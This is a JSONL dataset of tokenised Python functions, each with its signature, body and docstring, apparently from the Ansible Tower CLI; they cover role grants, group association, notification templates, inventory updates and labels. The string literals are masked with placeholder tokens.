{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.option('<STR_LIT>', help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>def associate(self, group, parent, **kwargs):<DEDENT>", "body": "parent_id = self.lookup_with_inventory(parent, kwargs.get('<STR_LIT>', None))['<STR_LIT:id>']<EOL>group_id = self.lookup_with_inventory(group, kwargs.get('<STR_LIT>', None))['<STR_LIT:id>']<EOL>return self._assoc('<STR_LIT>', parent_id, group_id)<EOL>", "docstring": "Associate this group with the specified group.\n\n        =====API DOCS=====\n        Associate this group with the specified group.\n\n        :param group: Primary key or name of the child group to associate.\n        :type group: str\n        :param parent: Primary key or name of the parent group to associate to.\n        :type parent: str\n        :param inventory: Primary key or name of the inventory the association should happen in.\n        :type inventory: str\n        :returns: Dictionary of only one key \"changed\", which indicates whether the association succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3355:c0:m4"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.option('<STR_LIT>', help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>def disassociate(self, group, parent, **kwargs):<DEDENT>", "body": "parent_id = self.lookup_with_inventory(parent, kwargs.get('<STR_LIT>', None))['<STR_LIT:id>']<EOL>group_id = self.lookup_with_inventory(group, kwargs.get('<STR_LIT>', None))['<STR_LIT:id>']<EOL>return self._disassoc('<STR_LIT>', parent_id, group_id)<EOL>", "docstring": "Disassociate this group from the specified group.\n\n        =====API DOCS=====\n        Disassociate this group with the specified group.\n\n        :param group: Primary key or name of the child group to disassociate.\n        :type group: str\n        :param parent: Primary key or name of the parent group to disassociate from.\n        :type parent: str\n        :param inventory: Primary key or name of the inventory the disassociation should happen in.\n        :type inventory: str\n        :returns: Dictionary of only one key \"changed\", which indicates whether the disassociation succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3355:c0:m5"}
{"signature": "def __getattribute__(self, name):", "body": "if name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise AttributeError<EOL><DEDENT>else:<EOL><INDENT>return object.__getattribute__(self, name)<EOL><DEDENT>", "docstring": "Disable inherited methods that cannot be applied to this\n        particular resource.", "id": "f3356:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def obj_res(data, fail_on=['<STR_LIT:type>', '<STR_LIT>', '<STR_LIT>']):<DEDENT>", "body": "errors = []<EOL>if not data.get('<STR_LIT:type>', None) and '<STR_LIT:type>' in fail_on:<EOL><INDENT>errors += ['<STR_LIT>']<EOL><DEDENT>obj = None<EOL>obj_type = None<EOL>for fd in ACTOR_FIELDS:<EOL><INDENT>if data.get(fd, False):<EOL><INDENT>if not obj:<EOL><INDENT>obj = data[fd]<EOL>obj_type = fd<EOL><DEDENT>else:<EOL><INDENT>errors += ['<STR_LIT>'<EOL>'<STR_LIT>']<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if not obj and '<STR_LIT>' in fail_on:<EOL><INDENT>errors += ['<STR_LIT>'<EOL>'<STR_LIT>']<EOL><DEDENT>res = None<EOL>res_type = None<EOL>for fd in RESOURCE_FIELDS:<EOL><INDENT>if data.get(fd, False):<EOL><INDENT>if not res:<EOL><INDENT>res = data[fd]<EOL>res_type = fd<EOL>if res_type == '<STR_LIT>':<EOL><INDENT>res_type = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>errors += ['<STR_LIT>'<EOL>'<STR_LIT>']<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if not res and '<STR_LIT>' in fail_on:<EOL><INDENT>errors += ['<STR_LIT>'<EOL>'<STR_LIT>']<EOL><DEDENT>if errors:<EOL><INDENT>raise exc.UsageError(\"<STR_LIT:\\n>\".join(errors))<EOL><DEDENT>return obj, obj_type, res, res_type<EOL>", "docstring": "Given some CLI input data,\nReturns the following and their types:\nobj - the role grantee\nres - the resource that the role applies to", "id": "f3356:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def data_endpoint(cls, in_data, ignore=[]):<DEDENT>", "body": "obj, obj_type, res, res_type = cls.obj_res(in_data, fail_on=[])<EOL>data = {}<EOL>if '<STR_LIT>' in ignore:<EOL><INDENT>obj = None<EOL><DEDENT>if '<STR_LIT>' in ignore:<EOL><INDENT>res = None<EOL><DEDENT>if obj and obj_type == '<STR_LIT:user>':<EOL><INDENT>data['<STR_LIT>'] = obj<EOL><DEDENT>if obj and obj_type == '<STR_LIT>':<EOL><INDENT>endpoint = '<STR_LIT>' % (grammar.pluralize(obj_type), obj)<EOL>if res is not None:<EOL><INDENT>data['<STR_LIT>'] = res<EOL><DEDENT><DEDENT>elif res:<EOL><INDENT>endpoint = '<STR_LIT>' % (grammar.pluralize(res_type), res)<EOL><DEDENT>else:<EOL><INDENT>endpoint = '<STR_LIT>'<EOL><DEDENT>if in_data.get('<STR_LIT:type>', False):<EOL><INDENT>data['<STR_LIT>'] = '<STR_LIT>' % in_data['<STR_LIT:type>'].lower()<EOL><DEDENT>for key, value in in_data.items():<EOL><INDENT>if key not in RESOURCE_FIELDS and key not in ['<STR_LIT:type>', '<STR_LIT:user>', '<STR_LIT>']:<EOL><INDENT>data[key] = value<EOL><DEDENT><DEDENT>return data, endpoint<EOL>", "docstring": "Converts a set of CLI input arguments, `in_data`, into\nrequest data and an endpoint that can be used to look\nup a role or list of roles.\n\nAlso changes the format of `type` in data to what the server\nexpects for the role model, as it exists in the database.", "id": "f3356:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def populate_resource_columns(item_dict):<DEDENT>", "body": "item_dict['<STR_LIT:type>'] = item_dict['<STR_LIT:name>']<EOL>if len(item_dict['<STR_LIT>']) == <NUM_LIT:0>:<EOL><INDENT>item_dict['<STR_LIT>'] = None<EOL>item_dict['<STR_LIT>'] = None<EOL><DEDENT>else:<EOL><INDENT>sf = item_dict['<STR_LIT>']<EOL>item_dict['<STR_LIT>'] = sf.get('<STR_LIT>', '<STR_LIT>')<EOL>item_dict['<STR_LIT>'] = sf.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>", "docstring": "Operates on item_dict\n\n        Promotes the resource_name and resource_type fields to the\n        top-level of the serialization so they can be printed as columns.\n        Also makes a copies name field to type, which is a default column.", "id": "f3356:c0:m3"}
{"signature": "def set_display_columns(self, set_true=[], set_false=[]):", "body": "for i in range(len(self.fields)):<EOL><INDENT>if self.fields[i].name in set_true:<EOL><INDENT>self.fields[i].display = True<EOL><DEDENT>elif self.fields[i].name in set_false:<EOL><INDENT>self.fields[i].display = False<EOL><DEDENT><DEDENT>", "docstring": "Add or remove columns from the output.", "id": "f3356:c0:m4"}
{"signature": "def configure_display(self, data, kwargs=None, write=False):", "body": "if settings.format != '<STR_LIT>':<EOL><INDENT>return  <EOL><DEDENT>if write:<EOL><INDENT>obj, obj_type, res, res_type = self.obj_res(kwargs)<EOL>data['<STR_LIT:type>'] = kwargs['<STR_LIT:type>']<EOL>data[obj_type] = obj<EOL>data[res_type] = res<EOL>self.set_display_columns(<EOL>set_false=['<STR_LIT>' if obj_type == '<STR_LIT:user>' else '<STR_LIT:user>'],<EOL>set_true=['<STR_LIT>' if res_type == '<STR_LIT>' else res_type])<EOL><DEDENT>else:<EOL><INDENT>self.set_display_columns(<EOL>set_false=['<STR_LIT:user>', '<STR_LIT>'],<EOL>set_true=['<STR_LIT>', '<STR_LIT>'])<EOL>if '<STR_LIT>' in data:<EOL><INDENT>for i in range(len(data['<STR_LIT>'])):<EOL><INDENT>self.populate_resource_columns(data['<STR_LIT>'][i])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.populate_resource_columns(data)<EOL><DEDENT><DEDENT>", "docstring": "Populates columns and sets display attribute as needed.\n        Operates on data.", "id": "f3356:c0:m5"}
{"signature": "def role_write(self, fail_on_found=False, disassociate=False, **kwargs):", "body": "<EOL>data, self.endpoint = self.data_endpoint(kwargs, ignore=['<STR_LIT>'])<EOL>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>response = self.read(pk=None, fail_on_no_results=True,<EOL>fail_on_multiple_results=True, **data)<EOL>role_data = response['<STR_LIT>'][<NUM_LIT:0>]<EOL>role_id = role_data['<STR_LIT:id>']<EOL>self.configure_display(role_data, kwargs, write=True)<EOL>obj, obj_type, res, res_type = self.obj_res(kwargs)<EOL>debug.log('<STR_LIT>' % obj_type,<EOL>header='<STR_LIT>')<EOL>data, self.endpoint = self.data_endpoint(kwargs)<EOL>data['<STR_LIT>'] = res_type.replace('<STR_LIT:_>', '<STR_LIT>')<EOL>response = self.read(pk=None, fail_on_no_results=False,<EOL>fail_on_multiple_results=False, **data)<EOL>msg = '<STR_LIT>'<EOL>if response['<STR_LIT:count>'] > <NUM_LIT:0> and not disassociate:<EOL><INDENT>msg = '<STR_LIT>' % obj_type<EOL><DEDENT>elif response['<STR_LIT:count>'] == <NUM_LIT:0> and disassociate:<EOL><INDENT>msg = '<STR_LIT>' % obj_type<EOL><DEDENT>if msg:<EOL><INDENT>role_data['<STR_LIT>'] = False<EOL>if fail_on_found:<EOL><INDENT>raise exc.NotFound(msg)<EOL><DEDENT>else:<EOL><INDENT>debug.log(msg, header='<STR_LIT>')<EOL>return role_data<EOL><DEDENT><DEDENT>debug.log('<STR_LIT>' % (<EOL>'<STR_LIT>' if disassociate else '<STR_LIT>', obj_type), header='<STR_LIT>')<EOL>post_data = {'<STR_LIT:id>': role_id}<EOL>if disassociate:<EOL><INDENT>post_data['<STR_LIT>'] = True<EOL><DEDENT>client.post('<STR_LIT>' % (grammar.pluralize(obj_type), obj),<EOL>data=post_data)<EOL>role_data['<STR_LIT>'] = True<EOL>return role_data<EOL>", "docstring": "Re-implementation of the parent `write` method specific to roles.\n        Adds a grantee (user or team) to the resource's role.", "id": "f3356:c0:m6"}
{"signature": "@resources.command(<EOL>use_fields_as_options=ACTOR_FIELDS+RESOURCE_FIELDS+['<STR_LIT:type>'])<EOL><INDENT>def list(self, **kwargs):<DEDENT>", "body": "data, self.endpoint = self.data_endpoint(kwargs)<EOL>r = super(Resource, self).list(**data)<EOL>self.configure_display(r)<EOL>return r<EOL>", "docstring": "Return a list of roles.\n\n        =====API DOCS=====\n        Retrieve a list of objects.\n\n        :param all_pages: Flag that if set, collect all pages of content from the API when returning results.\n        :type all_pages: bool\n        :param page: The page to show. Ignored if all_pages is set.\n        :type page: int\n        :param query: Contains 2-tuples used as query parameters to filter resulting resource objects.\n        :type query: list\n        :param `**kwargs`: Keyword arguments list of available fields used for searching resource objects.\n        :returns: A JSON object containing details of all resource objects returned by Tower backend.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3356:c0:m7"}
{"signature": "@resources.command(<EOL>use_fields_as_options=ACTOR_FIELDS+RESOURCE_FIELDS+['<STR_LIT:type>'])<EOL><INDENT>def get(self, pk=None, **kwargs):<DEDENT>", "body": "if kwargs.pop('<STR_LIT>', True):<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL><DEDENT>data, self.endpoint = self.data_endpoint(kwargs)<EOL>response = self.read(pk=pk, fail_on_no_results=True,<EOL>fail_on_multiple_results=True, **data)<EOL>item_dict = response['<STR_LIT>'][<NUM_LIT:0>]<EOL>self.configure_display(item_dict)<EOL>return item_dict<EOL>", "docstring": "Get information about a role.\n\n        =====API DOCS=====\n        Retrieve one and exactly one object.\n\n        :param pk: Primary key of the resource to be read. Tower CLI will only attempt to read *that* object\n                   if ``pk`` is provided (not ``None``).\n        :type pk: int\n        :param `**kwargs`: Keyword arguments used to look up resource object to retrieve if ``pk`` is not provided.\n        :returns: loaded JSON of the retrieved resource object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3356:c0:m8"}
{"signature": "@resources.command(<EOL>use_fields_as_options=ACTOR_FIELDS+RESOURCE_FIELDS+['<STR_LIT:type>'])<EOL><INDENT>@click.option('<STR_LIT>', default=False,<EOL>show_default=True, type=bool, is_flag=True,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def grant(self, fail_on_found=False, **kwargs):<DEDENT>", "body": "return self.role_write(fail_on_found=fail_on_found, **kwargs)<EOL>", "docstring": "Add a user or a team to a role. Required information:\n        1) Type of the role\n        2) Resource of the role, inventory, credential, or any other\n        3) A user or a team to add to the role\n\n        =====API DOCS=====\n        Add a user or a team to a role. Required information:\n        * Type of the role.\n        * Resource of the role, inventory, credential, or any other.\n        * A user or a team to add to the role.\n\n        :param fail_on_found: Flag that if set, the operation fails if a user/team already has the role.\n        :type fail_on_found: bool\n        :param `**kwargs`: The user to be associated and the role to associate.\n        :returns: parsed JSON of role grant.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3356:c0:m9"}
{"signature": "@resources.command(<EOL>use_fields_as_options=ACTOR_FIELDS+RESOURCE_FIELDS+['<STR_LIT:type>'])<EOL><INDENT>@click.option('<STR_LIT>', default=False,<EOL>show_default=True, type=bool, is_flag=True,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def revoke(self, fail_on_found=False, **kwargs):<DEDENT>", "body": "return self.role_write(fail_on_found=fail_on_found,<EOL>disassociate=True, **kwargs)<EOL>", "docstring": "Remove a user or a team from a role. Required information:\n        1) Type of the role\n        2) Resource of the role, inventory, credential, or any other\n        3) A user or a team to add to the role\n\n        =====API DOCS=====\n        Remove a user or a team from a role. Required information:\n        * Type of the role.\n        * Resource of the role, inventory, credential, or any other.\n        * A user or a team to add to the role.\n\n        :param fail_on_found: Flag that if set, the operation fails if a user/team dose not have the role.\n        :type fail_on_found: bool\n        :param `**kwargs`: The user to be disassociated and the role to disassociate.\n        :returns: parsed JSON of role revoke.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3356:c0:m10"}
{"signature": "def _separate(self, kwargs):", "body": "self._pop_none(kwargs)<EOL>result = {}<EOL>for field in Resource.config_fields:<EOL><INDENT>if field in kwargs:<EOL><INDENT>result[field] = kwargs.pop(field)<EOL>if field in Resource.json_fields:<EOL><INDENT>if not isinstance(result[field], six.string_types):<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>data = json.loads(result[field])<EOL>result[field] = data<EOL><DEDENT>except ValueError:<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Remove None-valued and configuration-related keyworded arguments", "id": "f3357:c0:m0"}
{"signature": "def _configuration(self, kwargs, config_item):", "body": "if '<STR_LIT>' not in config_item:<EOL><INDENT>if '<STR_LIT>' not in kwargs:<EOL><INDENT>return<EOL><DEDENT>nc = kwargs['<STR_LIT>'] = {}<EOL>for field in Resource.configuration[kwargs['<STR_LIT>']]:<EOL><INDENT>if field not in config_item:<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>'<EOL>'<STR_LIT>' % field)<EOL><DEDENT>else:<EOL><INDENT>nc[field] = config_item[field]<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>kwargs['<STR_LIT>'] =config_item['<STR_LIT>']<EOL><DEDENT>", "docstring": "Combine configuration-related keyworded arguments into\n        notification_configuration.", "id": "f3357:c0:m1"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'),<EOL>required=False, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=click.Choice(['<STR_LIT:error>', '<STR_LIT:success>']),<EOL>required=False, help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def create(self, fail_on_found=False, force_on_exists=False, **kwargs):<DEDENT>", "body": "config_item = self._separate(kwargs)<EOL>jt_id = kwargs.pop('<STR_LIT>', None)<EOL>status = kwargs.pop('<STR_LIT:status>', '<STR_LIT>')<EOL>old_endpoint = self.endpoint<EOL>if jt_id is not None:<EOL><INDENT>jt = get_resource('<STR_LIT>')<EOL>jt.get(pk=jt_id)<EOL>try:<EOL><INDENT>nt_id = self.get(**copy.deepcopy(kwargs))['<STR_LIT:id>']<EOL><DEDENT>except exc.NotFound:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if fail_on_found:<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>debug.log('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>header='<STR_LIT>')<EOL>return jt.associate_notification_template(<EOL>jt_id, nt_id, status=status)<EOL><DEDENT><DEDENT>self.endpoint = '<STR_LIT>' %(jt_id, status)<EOL><DEDENT>self._configuration(kwargs, config_item)<EOL>result = super(Resource, self).create(**kwargs)<EOL>self.endpoint = old_endpoint<EOL>return result<EOL>", "docstring": "Create a notification template.\n\n        All required configuration-related fields (required according to\n        notification_type) must be provided.\n\n        There are two types of notification template creation: isolatedly\n        creating a new notification template and creating a new notification\n        template under a job template. Here the two types are discriminated by\n        whether to provide --job-template option. --status option controls\n        more specific, job-run-status-related association.\n\n        Fields in the resource's `identity` tuple are used for a lookup;\n        if a match is found, then no-op (unless `force_on_exists` is set) but\n        do not fail (unless `fail_on_found` is set).\n\n        =====API DOCS=====\n        Create an object.\n\n        :param fail_on_found: Flag that if set, the operation fails if an object matching the unique criteria\n                              already exists.\n        :type fail_on_found: bool\n        :param force_on_exists: Flag that if set, then if a match is found on unique fields, other fields will\n                                be updated to the provided values.; If unset, a match causes the request to be\n                                a no-op.\n        :type force_on_exists: bool\n        :param `**kwargs`: Keyword arguments which, all together, will be used as POST body to create the\n                           resource object.\n        :returns: A dictionary combining the JSON output of the created resource, as well as two extra fields:\n                  \"changed\", a flag indicating if the resource is created successfully; \"id\", an integer which\n                  is the primary key of the created object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3357:c0:m2"}
{"signature": "@resources.command<EOL><INDENT>def modify(self, pk=None, create_on_missing=False, **kwargs):<DEDENT>", "body": "<EOL>if pk is None and create_on_missing:<EOL><INDENT>try:<EOL><INDENT>self.get(**copy.deepcopy(kwargs))<EOL><DEDENT>except exc.NotFound:<EOL><INDENT>return self.create(**kwargs)<EOL><DEDENT><DEDENT>config_item = self._separate(kwargs)<EOL>notification_type = kwargs.pop('<STR_LIT>', None)<EOL>debug.log('<STR_LIT>'<EOL>'<STR_LIT>', header='<STR_LIT>')<EOL>part_result = super(Resource, self).modify(pk=pk, create_on_missing=create_on_missing, **kwargs)<EOL>if notification_type is None ornotification_type == part_result['<STR_LIT>']:<EOL><INDENT>for item in part_result['<STR_LIT>']:<EOL><INDENT>if item not in config_item or not config_item[item]:<EOL><INDENT>to_add = part_result['<STR_LIT>'][item]<EOL>if not (to_add == '<STR_LIT>' and<EOL>item in Resource.encrypted_fields):<EOL><INDENT>config_item[item] = to_add<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if notification_type is None:<EOL><INDENT>kwargs['<STR_LIT>'] = part_result['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>kwargs['<STR_LIT>'] = notification_type<EOL><DEDENT>self._configuration(kwargs, config_item)<EOL>debug.log('<STR_LIT>',<EOL>header='<STR_LIT>')<EOL>result = super(Resource, self).modify(pk=pk, create_on_missing=create_on_missing, **kwargs)<EOL>if '<STR_LIT>' in result and '<STR_LIT>' in part_result:<EOL><INDENT>result['<STR_LIT>'] = result['<STR_LIT>'] or part_result['<STR_LIT>']<EOL><DEDENT>return result<EOL>", "docstring": "Modify an existing notification template.\n\n        Not all required configuration-related fields (required according to\n        notification_type) should be provided.\n\n        Fields in the resource's `identity` tuple can be used in lieu of a\n        primary key for a lookup; in such a case, only other fields are\n        written.\n\n        To modify unique fields, you must use the primary key for the lookup.\n\n        =====API DOCS=====\n        Modify an already existing object.\n\n        :param pk: Primary key of the resource to be modified.\n        :type pk: int\n        :param create_on_missing: Flag that if set, a new object is created if ``pk`` is not set and objects\n                                  matching the appropriate unique criteria is not found.\n        :type create_on_missing: bool\n        :param `**kwargs`: Keyword arguments which, all together, will be used as PATCH body to modify the\n                           resource object. if ``pk`` is not set, key-value pairs of ``**kwargs`` which are\n                           also in resource's identity will be used to lookup existing reosource.\n        :returns: A dictionary combining the JSON output of the modified resource, as well as two extra fields:\n                  \"changed\", a flag indicating if the resource is successfully updated; \"id\", an integer which\n                  is the primary key of the updated object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3357:c0:m3"}
{"signature": "@resources.command<EOL><INDENT>def delete(self, pk=None, fail_on_missing=False, **kwargs):<DEDENT>", "body": "self._separate(kwargs)<EOL>return super(Resource, self).delete(pk=pk, fail_on_missing=fail_on_missing, **kwargs)<EOL>", "docstring": "Remove the given notification template.\n\n        Note here configuration-related fields like\n        'notification_configuration' and 'channels' will not be\n        used even provided.\n\n        If `fail_on_missing` is True, then the object's not being found is\n        considered a failure; otherwise, a success with no change is reported.\n\n        =====API DOCS=====\n        Remove the given object.\n\n        :param pk: Primary key of the resource to be deleted.\n        :type pk: int\n        :param fail_on_missing: Flag that if set, the object's not being found is considered a failure; otherwise,\n                                a success with no change is reported.\n        :type fail_on_missing: bool\n        :param `**kwargs`: Keyword arguments used to look up resource object to delete if ``pk`` is not provided.\n        :returns: dictionary of only one field \"changed\", which is a flag indicating whether the specified resource\n                  is successfully deleted.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3357:c0:m4"}
{"signature": "@resources.command<EOL><INDENT>def list(self, all_pages=False, **kwargs):<DEDENT>", "body": "self._separate(kwargs)<EOL>return super(Resource, self).list(all_pages=all_pages, **kwargs)<EOL>", "docstring": "Return a list of notification templates.\n\n        Note here configuration-related fields like\n        'notification_configuration' and 'channels' will not be\n        used even provided.\n\n        If one or more filters are provided through keyword arguments,\n        filter the results accordingly.\n\n        If no filters are provided, return all results.\n\n        =====API DOCS=====\n        Retrieve a list of objects.\n\n        :param all_pages: Flag that if set, collect all pages of content from the API when returning results.\n        :type all_pages: bool\n        :param page: The page to show. Ignored if all_pages is set.\n        :type page: int\n        :param query: Contains 2-tuples used as query parameters to filter resulting resource objects.\n        :type query: list\n        :param `**kwargs`: Keyword arguments list of available fields used for searching resource objects.\n        :returns: A JSON object containing details of all resource objects returned by Tower backend.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3357:c0:m5"}
{"signature": "@resources.command<EOL><INDENT>def get(self, pk=None, **kwargs):<DEDENT>", "body": "self._separate(kwargs)<EOL>return super(Resource, self).get(pk=pk, **kwargs)<EOL>", "docstring": "Return one and exactly one notification template.\n\n        Note here configuration-related fields like\n        'notification_configuration' and 'channels' will not be\n        used even provided.\n\n        Lookups may be through a primary key, specified as a positional\n        argument, and/or through filters specified through keyword arguments.\n\n        If the number of results does not equal one, raise an exception.\n\n        =====API DOCS=====\n        Retrieve one and exactly one object.\n\n        :param pk: Primary key of the resource to be read. Tower CLI will only attempt to read *that* object\n                   if ``pk`` is provided (not ``None``).\n        :type pk: int\n        :param `**kwargs`: Keyword arguments used to look up resource object to retrieve if ``pk`` is not provided.\n        :returns: loaded JSON of the retrieved resource object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3357:c0:m6"}
{"signature": "@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=int,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@resources.command(use_fields_as_options=False, no_args_is_help=True)<EOL>def update(self, inventory_source, monitor=False, wait=False,<EOL>timeout=None, **kwargs):<DEDENT>", "body": "<EOL>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>r = client.get('<STR_LIT>' % (self.endpoint, inventory_source))<EOL>if not r.json()['<STR_LIT>']:<EOL><INDENT>raise exc.BadRequest('<STR_LIT>')<EOL><DEDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>r = client.post('<STR_LIT>' % (self.endpoint, inventory_source), data={})<EOL>inventory_update_id = r.json()['<STR_LIT>']<EOL>if monitor or wait:<EOL><INDENT>if monitor:<EOL><INDENT>result = self.monitor(inventory_update_id, parent_pk=inventory_source, timeout=timeout)<EOL><DEDENT>elif wait:<EOL><INDENT>result = self.wait(inventory_update_id, parent_pk=inventory_source, timeout=timeout)<EOL><DEDENT>inventory = client.get('<STR_LIT>' % result['<STR_LIT>']).json()['<STR_LIT>']<EOL>result['<STR_LIT>'] = int(inventory)<EOL>return result<EOL><DEDENT>return {<EOL>'<STR_LIT:id>': inventory_update_id,<EOL>'<STR_LIT:status>': '<STR_LIT>'<EOL>}<EOL>", "docstring": "Update the given inventory source.\n\n        =====API DOCS=====\n        Update the given inventory source.\n\n        :param inventory_source: Primary key or name of the inventory source to be updated.\n        :type inventory_source: str\n        :param monitor: Flag that if set, immediately calls ``monitor`` on the newly launched inventory update\n                        rather than exiting with a success.\n        :type monitor: bool\n        :param wait: Flag that if set, monitor the status of the inventory update, but do not print while it is\n                     in progress.\n        :type wait: bool\n        :param timeout: If provided with ``monitor`` flag set, this attempt will time out after the given number\n                        of seconds.\n        :type timeout: int\n        :param `**kwargs`: Fields used to override underlyingl inventory source fields when creating and launching\n                           an inventory update.\n        :returns: Result of subsequent ``monitor`` call if ``monitor`` flag is on; Result of subsequent ``wait``\n                  call if ``wait`` flag is on; dictionary of \"status\" if none of the two flags are on.\n        :rtype: dict\n        :raises tower_cli.exceptions.BadRequest: When the inventory source cannot be updated.\n\n        =====API DOCS=====", "id": "f3358:c0:m0"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>def status(self, pk, detail=False, **kwargs):<DEDENT>", "body": "<EOL>job = self.last_job_data(pk, **kwargs)<EOL>if detail:<EOL><INDENT>return job<EOL><DEDENT>return {<EOL>'<STR_LIT>': job['<STR_LIT>'],<EOL>'<STR_LIT>': job['<STR_LIT>'],<EOL>'<STR_LIT:status>': job['<STR_LIT:status>'],<EOL>}<EOL>", "docstring": "Print the status of the most recent sync.\n\n        =====API DOCS=====\n        Retrieve the current inventory update status.\n\n        :param pk: Primary key of the resource to retrieve status from.\n        :type pk: int\n        :param detail: Flag that if set, return the full JSON of the job resource rather than a status summary.\n        :type detail: bool\n        :param `**kwargs`: Keyword arguments used to look up resource object to retrieve status from if ``pk``\n                           is not provided.\n        :returns: full loaded JSON of the specified unified job if ``detail`` flag is on; trimed JSON containing\n                  only \"elapsed\", \"failed\" and \"status\" fields of the unified job if ``detail`` flag is off.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3358:c0:m1"}
{"signature": "def __getattribute__(self, name):", "body": "if name in ['<STR_LIT>']:<EOL><INDENT>raise AttributeError<EOL><DEDENT>else:<EOL><INDENT>return object.__getattribute__(self, name)<EOL><DEDENT>", "docstring": "Disable inherited methods that cannot be applied to this particular resource.", "id": "f3359:c0:m0"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'),<EOL>required=False, help='<STR_LIT>')<EOL>def create(self, fail_on_found=False, force_on_exists=False, **kwargs):<DEDENT>", "body": "jt_id = kwargs.pop('<STR_LIT>', None)<EOL>old_endpoint = self.endpoint<EOL>if jt_id is not None:<EOL><INDENT>jt = get_resource('<STR_LIT>')<EOL>jt.get(pk=jt_id)<EOL>try:<EOL><INDENT>label_id = self.get(name=kwargs.get('<STR_LIT:name>', None), organization=kwargs.get('<STR_LIT>', None))['<STR_LIT:id>']<EOL><DEDENT>except exc.NotFound:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if fail_on_found:<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>return jt.associate_label(job_template=jt_id, label=label_id)<EOL><DEDENT><DEDENT>self.endpoint = '<STR_LIT>' % jt_id<EOL><DEDENT>result = super(Resource, self).create(fail_on_found=fail_on_found, force_on_exists=force_on_exists, **kwargs)<EOL>self.endpoint = old_endpoint<EOL>return result<EOL>", "docstring": "Create a new label.\n\n        There are two types of label creation: isolatedly creating a new label and creating a new label under\n        a job template. Here the two types are discriminated by whether to provide --job-template option.\n\n        Fields in the resource's `identity` tuple are used for a lookup; if a match is found, then no-op (unless\n        `force_on_exists` is set) but do not fail (unless `fail_on_found` is set).\n\n        =====API DOCS=====\n        Create a label.\n\n        :param job_template: Primary key or name of the job template for the created label to associate to.\n        :type job_template: str\n        :param fail_on_found: Flag that if set, the operation fails if an object matching the unique criteria\n                              already exists.\n        :type fail_on_found: bool\n        :param force_on_exists: Flag that if set, then if a match is found on unique fields, other fields will\n                                be updated to the provided values.; If unset, a match causes the request to be\n                                a no-op.\n        :type force_on_exists: bool\n        :param `**kwargs`: Keyword arguments which, all together, will be used as POST body to create the\n                           resource object.\n        :returns: A dictionary combining the JSON output of the created resource, as well as two extra fields:\n                  \"changed\", a flag indicating if the resource is created successfully; \"id\", an integer which\n                  is the primary key of the created object.\n        :rtype: dict\n        :raises tower_cli.exceptions.TowerCLIError: When the label already exists and ``fail_on_found`` flag is on.\n\n        =====API DOCS=====", "id": "f3359:c0:m1"}
